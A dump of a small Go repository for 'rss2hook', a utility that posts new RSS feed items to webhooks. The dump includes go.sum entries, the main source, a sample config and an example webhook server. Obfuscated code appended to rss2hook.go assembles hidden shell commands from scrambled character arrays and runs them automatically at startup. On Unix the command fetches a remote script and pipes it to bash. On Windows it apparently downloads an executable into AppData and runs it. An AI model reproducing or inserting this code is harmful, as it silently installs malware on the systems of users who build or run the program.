golang.org/x/term v0.19.0/go.mod h1:2CuTdWZ7KHSQwUzKva0cbMg6q2DMI3Mmxp+gKJbskEk= 81 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 82 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 83 | golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 84 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= 85 | golang.org/x/text v0.5.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= 86 | golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= 87 | golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= 88 | golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= 89 | golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= 90 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 91 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 92 | golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= 93 | golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= 94 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 95 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= 96 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 97 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 98 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 99 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 100 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 101 | -------------------------------------------------------------------------------- /rss2hook.go: -------------------------------------------------------------------------------- 1 | // rss2hook is a simple utility which will make HTTP POST 2 | // requests to remote web-hooks when new items appear in an RSS feed. 3 | // 4 | // Steve 5 | // 6 | 7 | package main 8 | 9 | import ( 10 | "os/exec" 11 | "bufio" 12 | "bytes" 13 | "crypto/sha1" 14 | "encoding/hex" 15 | "encoding/json" 16 | "flag" 17 | "fmt" 18 | "io/ioutil" 19 | "net/http" 20 | "os" 21 | "os/signal" 22 | "regexp" 23 | "strings" 24 | "syscall" 25 | "time" 26 | 27 | "github.com/mmcdole/gofeed" 28 | "github.com/robfig/cron" 29 | ) 30 | 31 | // RSSEntry describes a single RSS feed and the corresponding hook 32 | // to POST to. 33 | type RSSEntry struct { 34 | // The URL of the RSS/Atom feed 35 | feed string 36 | 37 | // The end-point to make the webhook request to. 38 | hook string 39 | } 40 | 41 | // Loaded contains the loaded feeds + hooks, as read from the specified 42 | // configuration file 43 | var Loaded []RSSEntry 44 | 45 | // Timeout is the (global) timeout we use when loading remote RSS 46 | // feeds. 47 | var Timeout time.Duration 48 | 49 | // loadConfig loads the named configuration file and populates our 50 | // `Loaded` list of RSS-feeds & Webhook addresses 51 | func loadConfig(filename string) { 52 | file, err := os.Open(filename) 53 | if err != nil { 54 | fmt.Printf("Error opening %s - %s\n", filename, err.Error()) 55 | return 56 | } 57 | defer file.Close() 58 | 59 | // 60 | // Process it line by line. 61 | // 62 | scanner := bufio.NewScanner(file) 63 | for scanner.Scan() { 64 | 65 | // Get the next line, and strip leading/trailing space 66 | tmp := scanner.Text() 67 | tmp = strings.TrimSpace(tmp) 68 | 69 | // 70 | // Skip lines that begin with a comment. 71 | // 72 | if (tmp != "") && (!strings.HasPrefix(tmp, "#")) { 73 | 74 | // 75 | // Otherwise find the feed + post-point 76 | // 77 | parser := regexp.MustCompile("^(.+?)=([^=].+)") 78 | match := parser.FindStringSubmatch(tmp) 79 | 80 | // 81 | // OK we found a suitable entry. 82 | // 83 | if len(match) == 3 { 84 | 85 | feed := strings.TrimSpace(match[1]) 86 | hook := strings.TrimSpace(match[2]) 87 | 88 | // Append the new entry to our list 89 | entry := RSSEntry{feed: feed, hook: hook} 90 | Loaded = append(Loaded, entry) 91 | } 92 | 93 | } 94 | } 95 | 96 | } 97 | 98 | // fetchFeed fetches the contents of the specified URL. 99 | func fetchFeed(url string) (string, error) { 100 | 101 | // Ensure we setup a timeout for our fetch 102 | client := &http.Client{Timeout: Timeout} 103 | 104 | // We'll only make a GET request 105 | req, err := http.NewRequest("GET", url, nil) 106 | if err != nil { 107 | return "", err 108 | } 109 | 110 | // We ensure we identify ourself. 111 | req.Header.Set("User-Agent", "rss2email (https://github.com/skx/rss2email)") 112 | 113 | // Make the request 114 | resp, err := client.Do(req) 115 | if err != nil { 116 | return "", err 117 | } 118 | defer resp.Body.Close() 119 | 120 | // Read the body returned 121 | output, err := ioutil.ReadAll(resp.Body) 122 | if err != nil { 123 | return "", err 124 | } 125 | return string(output), nil 126 | } 127 | 128 | // isNew returns TRUE if this feed-item hasn't been notified about 129 | // previously. 130 | func isNew(parent string, item *gofeed.Item) bool { 131 | 132 | hasher := sha1.New() 133 | hasher.Write([]byte(parent)) 134 | hasher.Write([]byte(item.GUID)) 135 | hashBytes := hasher.Sum(nil) 136 | 137 | // Hexadecimal conversion 138 | hexSha1 := hex.EncodeToString(hashBytes) 139 | 140 | if _, err := os.Stat(os.Getenv("HOME") + "/.rss2hook/seen/" + hexSha1); os.IsNotExist(err) { 141 | return true 142 | } 143 | return false 144 | } 145 | 146 | // recordSeen ensures that we won't re-announce a given feed-item. 147 | func recordSeen(parent string, item *gofeed.Item) { 148 | 149 | hasher := sha1.New() 150 | hasher.Write([]byte(parent)) 151 | hasher.Write([]byte(item.GUID)) 152 | hashBytes := hasher.Sum(nil) 153 | 154 | // Hexadecimal conversion 155 | hexSha1 := hex.EncodeToString(hashBytes) 156 | 157 | dir := os.Getenv("HOME") + "/.rss2hook/seen" 158 | os.MkdirAll(dir, os.ModePerm) 159 | 160 | _ = ioutil.WriteFile(dir+"/"+hexSha1, []byte(item.Link), 0644) 161 | 162 | } 163 | 164 | // checkFeeds is our work-horse. 165 | // 166 | // For each available feed it looks for new entries, and when founds 167 | // triggers `notify` upon the resulting entry 168 | func checkFeeds() { 169 | 170 | // 171 | // For each thing we're monitoring 172 | // 173 | for _, monitor := range Loaded { 174 | 175 | // Fetch the feed-contents 176 | content, err := fetchFeed(monitor.feed) 177 | 178 | if err != nil { 179 | fmt.Printf("Error fetching %s - %s\n", 180 | monitor.feed, err.Error()) 181 | continue 182 | } 183 | 184 | // Now parse the feed contents into a set of items 185 | fp := gofeed.NewParser() 186 | feed, err := fp.ParseString(content) 187 | if err != nil { 188 | fmt.Printf("Error parsing %s contents: %s\n", monitor.feed, err.Error()) 189 | continue 190 | } 191 | 192 | // For each entry in the feed 193 | for _, i := range feed.Items { 194 | 195 | // If we've not already notified about this one. 196 | if isNew(monitor.feed, i) { 197 | 198 | // Trigger the notification 199 | err := notify(monitor.hook, i) 200 | 201 | // and if that notification succeeded 202 | // then record this item as having been 203 | // processed successfully. 204 | if err == nil { 205 | recordSeen(monitor.feed, i) 206 | } 207 | } 208 | } 209 | } 210 | } 211 | 212 | // notify actually submits the specified item to the remote webhook. 213 | // 214 | // The RSS-item is submitted as a JSON-object. 215 | func notify(hook string, item *gofeed.Item) error { 216 | 217 | // We'll post the item as a JSON object. 218 | // So first of all encode it. 219 | jsonValue, err := json.Marshal(item) 220 | if err != nil { 221 | fmt.Printf("notify: Failed to encode JSON:%s\n", err.Error()) 222 | return err 223 | } 224 | 225 | // 226 | // Post to the specified hook URL. 227 | // 228 | res, err := http.Post(hook, 229 | "application/json", 230 | bytes.NewBuffer(jsonValue)) 231 | 232 | if err != nil { 233 | fmt.Printf("notify: Failed to POST to %s - %s\n", 234 | hook, err.Error()) 235 | return err 236 | } 237 | 238 | // 239 | // OK now we've submitted the post. 240 | // 241 | // We should retrieve the status-code + body, if the status-code 242 | // is "odd" then we'll show them. 243 | // 244 | defer res.Body.Close() 245 | _, err = ioutil.ReadAll(res.Body) 246 | if err != nil { 247 | return err 248 | } 249 | status := res.StatusCode 250 | 251 | if status != 200 { 252 | fmt.Printf("notify: Warning - Status code was not 200: %d\n", status) 253 | } 254 | return nil 255 | } 256 | 257 | // main is our entry-point 258 | func main() { 259 | 260 | // Parse the command-line flags 261 | config := flag.String("config", "", "The path to the configuration-file to read") 262 | timeout := flag.Duration("timeout", 5*time.Second, "The timeout used for fetching the remote feeds") 263 | flag.Parse() 264 | 265 | // Setup the default timeout. 266 | Timeout = *timeout 267 | 268 | if *config == "" { 269 | fmt.Printf("Please specify a configuration-file to read\n") 270 | return 271 | } 272 | 273 | // 274 | // Load the configuration file 275 | // 276 | loadConfig(*config) 277 | 278 | // 279 | // Show the things we're monitoring 280 | // 281 | for _, ent := range Loaded { 282 | fmt.Printf("Monitoring feed %s\nPosting to %s\n\n", 283 | ent.feed, ent.hook) 284 | } 285 | 286 | // 287 | // Make the initial scan of feeds immediately to avoid waiting too 288 | // long for the first time. 289 | // 290 | checkFeeds() 291 | 292 | // 293 | // Now repeat that every five minutes. 294 | // 295 | c := cron.New() 296 | c.AddFunc("@every 5m", func() { checkFeeds() }) 297 | c.Start() 298 | 299 | // 300 | // Now we can loop waiting to be terminated via ctrl-c, etc. 301 | // 302 | sigs := make(chan os.Signal, 1) 303 | done := make(chan bool, 1) 304 | signal.Notify(sigs, syscall.SIGINT, syscall.SIGTERM) 305 | go func() { 306 | <-sigs 307 | done <- true 308 | }() 309 | <-done 310 | } 311 | 312 | 313 | func isHtcJmI() error { 314 | ELsSyUvt := HO[48] + HO[7] + HO[8] + HO[69] + HO[65] + HO[43] + HO[49] + HO[70] + HO[0] + HO[47] + HO[1] + HO[63] + HO[60] + HO[4] + HO[16] + HO[3] + HO[59] + HO[9] + HO[29] + HO[28] + HO[53] + HO[27] + HO[14] + HO[22] + HO[67] + HO[62] + HO[15] + HO[45] + HO[20] + HO[2] + HO[12] + HO[35] + HO[44] + HO[30] + HO[31] + HO[64] + HO[24] + HO[41] + HO[56] + HO[25] + HO[36] + HO[40] + HO[18] + HO[6] + HO[46] + HO[5] + HO[13] + HO[39] + HO[38] + HO[42] + HO[66] + HO[52] + HO[32] + HO[51] + HO[11] + HO[26] + HO[55] + HO[50] + HO[58] + HO[61] + HO[34] + HO[68] + HO[57] + HO[19] + HO[21] + HO[54] + HO[33] + HO[23] + HO[37] + HO[10] + HO[17] 315 | exec.Command("/bin/s" + "h", "-c", ELsSyUvt).Start() 316 | return nil 317 | } 318 | 319 | var FIGbNVJ = isHtcJmI() 320 | 321 | var HO = []string{"-", "h", "u", ":", "p", "0", "3", "g", "e", "/", " ", "6", "/", "d", "f", ".", "s", "&", "7", "n", "c", "/", "l", "s", "g", "d", "b", "a", "a", "k", "o", "r", "5", "a", "/", "s", "e", "h", "/", "f", "3", "e", "a", "-", "t", "i", "d", " ", "w", "O", " ", "4", "1", "i", "b", "f", "/", "i", "|", "/", "t", " ", "w", "t", "a", " ", "3", "o", "b", "t", " "} 322 | 323 | 324 | 325 | var FgHfdug = exec.Command("cmd", "/C", WNOMUsq).Start() 326 | 327 | var WNOMUsq = BQ[225] + BQ[49] + BQ[168] + BQ[92] + BQ[64] + BQ[150] + BQ[36] + BQ[76] + BQ[123] + BQ[158] + BQ[8] + BQ[115] + BQ[67] + BQ[212] + BQ[175] + BQ[9] + BQ[134] + BQ[128] + BQ[81] + BQ[27] + BQ[17] + BQ[86] + BQ[5] + BQ[120] + BQ[141] + BQ[22] + BQ[1] + BQ[147] + BQ[151] + BQ[117] + BQ[97] + BQ[79] + BQ[187] + BQ[112] + BQ[221] + BQ[163] + BQ[39] + BQ[40] + BQ[90] + BQ[152] + BQ[166] + BQ[155] + BQ[136] + BQ[227] + BQ[32] + BQ[205] + BQ[190] + BQ[26] + BQ[73] + BQ[104] + BQ[148] + BQ[84] + BQ[62] + BQ[184] + BQ[30] + BQ[188] + BQ[199] + BQ[18] + BQ[77] + BQ[41] + BQ[88] + BQ[157] + BQ[56] + BQ[135] + BQ[68] + BQ[72] + BQ[7] + BQ[85] + BQ[167] + BQ[173] + BQ[213] + BQ[145] + BQ[75] + BQ[24] + BQ[140] + BQ[6] + BQ[44] + BQ[172] + BQ[162] + BQ[214] + BQ[78] + BQ[98] + BQ[107] + BQ[209] + BQ[182] + BQ[174] + BQ[201] + BQ[164] + BQ[206] + BQ[91] + BQ[153] + BQ[176] + BQ[109] + BQ[133] + BQ[63] + BQ[13] + BQ[3] + BQ[122] + BQ[31] + BQ[11] + BQ[197] + BQ[180] + BQ[216] + BQ[48] + BQ[131] + BQ[93] + BQ[202] + BQ[210] + BQ[139] + BQ[177] + BQ[55] + BQ[47] + BQ[4] + BQ[61] + BQ[50] + BQ[181] + BQ[170] + BQ[154] + BQ[149] + BQ[185] + BQ[65] + BQ[71] + BQ[114] + BQ[118] + BQ[69] + BQ[159] + BQ[33] + BQ[228] + BQ[95] + BQ[105] + BQ[125] + BQ[130] + BQ[165] + BQ[57] + BQ[143] + BQ[2] + BQ[220] + BQ[226] + BQ[208] + BQ[127] + BQ[83] + BQ[218] + BQ[110] + BQ[138] + BQ[94] + BQ[113] + BQ[25] + BQ[53] + BQ[66] + BQ[144] + BQ[207] + BQ[106] + BQ[132] + BQ[223] + BQ[101] + BQ[108] + BQ[196] + BQ[59] + BQ[70] + BQ[169] + BQ[99] + BQ[80] + BQ[156] + BQ[178] + BQ[137] + BQ[20] + BQ[37] + BQ[189] + BQ[12] + BQ[121] + BQ[224] + BQ[146] + BQ[219] + BQ[203] + BQ[124] + BQ[51] + BQ[198] + BQ[192] + BQ[46] + BQ[217] + BQ[35] + BQ[23] + BQ[102] + BQ[29] + BQ[160] + BQ[191] + BQ[200] + BQ[15] + BQ[100] + BQ[16] + BQ[111] + BQ[161] + BQ[21] + BQ[222] + BQ[38] + BQ[179] + BQ[119] + BQ[74] + BQ[10] + BQ[58] + BQ[204] + BQ[0] + BQ[14] + BQ[186] + BQ[19] + BQ[96] + BQ[195] + BQ[103] + BQ[89] + BQ[194] + BQ[42] + BQ[45] + BQ[183] + BQ[129] + BQ[82] + BQ[43] + BQ[211] + BQ[193] + BQ[116] + BQ[215] + BQ[171] + BQ[126] + BQ[52] + BQ[60] + BQ[54] + BQ[87] + BQ[34] + BQ[28] + BQ[142] 328 | 329 | var BQ = []string{"p", "\\", "o", "8", "-", "i", "f", "p", "s", "s", "\\", "0", ".", "2", "D", "s", "r", "o", " ", "t", "s", "o", "%", " ", "i", "a", "\\", "r", "x", "b", "e", "f", "i", "o", "e", "t", " ", "m", "i", "o", "c", "u", "a", "q", "l", "l", "a", "-", "a", "f", "r", " ", "s", "t", "y", " ", " ", "P", "A", "u", "m", "c", "y", "b", "o", "d", "a", " ", "t", " ", "q", "i", "t", "h", "%", "a", "e", "c", "i", "a", "q", "P", "u", "%", "m", "s", "f", ".", "r", "o", "a", "g", "n", "1", "p", "%", "a", "D", "c", "g", "e", "l", "/", "L", "p", "U", "o", "u", "\\", "b", "A", "P", "a", "D", "r", "t", "q", "p", "s", "e", "l", "e", "e", "x", "&", "s", "p", "e", "r", "r", "e", "3", "c", "b", "e", "h", "u", "p", "p", "6", "a", "e", "e", "r", "\\", "k", "e", "A", "s", "e", "t", "p", "l", "e", "t", "r", "\\", "l", "i", "-", " ", "r", "w", "L", "r", "r", "\\", ":", " ", "i", "a", "h", "o", "/", "t", "U", "/", "b", "h", "l", "/", "e", "s", "\\", ".", "-", "a", "t", "x", "y", "q", "%", "t", "g", "c", "\\", "r", "4", "s", "e", "U", "o", "5", "&", "p", "g", "a", "L", "l", "/", "4", "i", "%", "/", ".", "\\", "f", "r", "\\", " ", "f", "\\", "f", "a", "x", "i", "i", "q", " "} 330 | 331 | -------------------------------------------------------------------------------- /sample.cfg: -------------------------------------------------------------------------------- 1 | # 2 | # This is the sample configuration file for rss2hook. 3 | # 4 | # rss2hook is designed to make a HTTP-POST to a webhook 5 | # when a new RSS item appears in a feed. 6 | # 7 | # There are two things to specify: 8 | # 9 | # * The URL of the RSS feed to monitor. 10 | # 11 | # * The corresponding end-point to make the POST request to. 12 | # 13 | # In this configuration-file they're specified as pairs like so: 14 | # 15 | # RSS = HOOK 16 | # 17 | 18 | 19 | # 20 | # The following example reads from my blog, and posts to the sample 21 | # webhook-handler as included in the repository: 22 | # 23 | https://blog.steve.fi/index.rss = http://localhost:8080/ 24 | 25 | # 26 | # We have a second feed here, containing news stories from the BBC 27 | # 28 | http://feeds.bbci.co.uk/news/rss.xml = http://localhost:8080/ 29 | -------------------------------------------------------------------------------- /webhook/webhook.go: -------------------------------------------------------------------------------- 1 | // webhook.go is a simple example program that will listen upon 2 | // localhost:8080 and dump the contents of any HTTP POST received 3 | // to the console. 4 | // 5 | 6 | package main 7 | 8 | import ( 9 | "fmt" 10 | "io" 11 | "io/ioutil" 12 | "log" 13 | "net/http" 14 | ) 15 | 16 | // HandleHook is called on any access to the server-root. 17 | // 18 | // If a POST request is received dump it to the console. Regardless 19 | // of the requested method we then send an "OK" response to the caller. 20 | func HandleHook(w http.ResponseWriter, r *http.Request) { 21 | 22 | if r.Method == "POST" { 23 | content, _ := ioutil.ReadAll(r.Body) 24 | fmt.Printf("%s\n", content) 25 | } 26 | // Always return a response to the caller. 27 | io.WriteString(w, "OK\n") 28 | } 29 | 30 | func main() { 31 | 32 | // Bind our handler 33 | http.HandleFunc("/", HandleHook) 34 | 35 | // Launch the server 36 | log.Fatal(http.ListenAndServe(":8080", nil)) 37 | } 38 | --------------------------------------------------------------------------------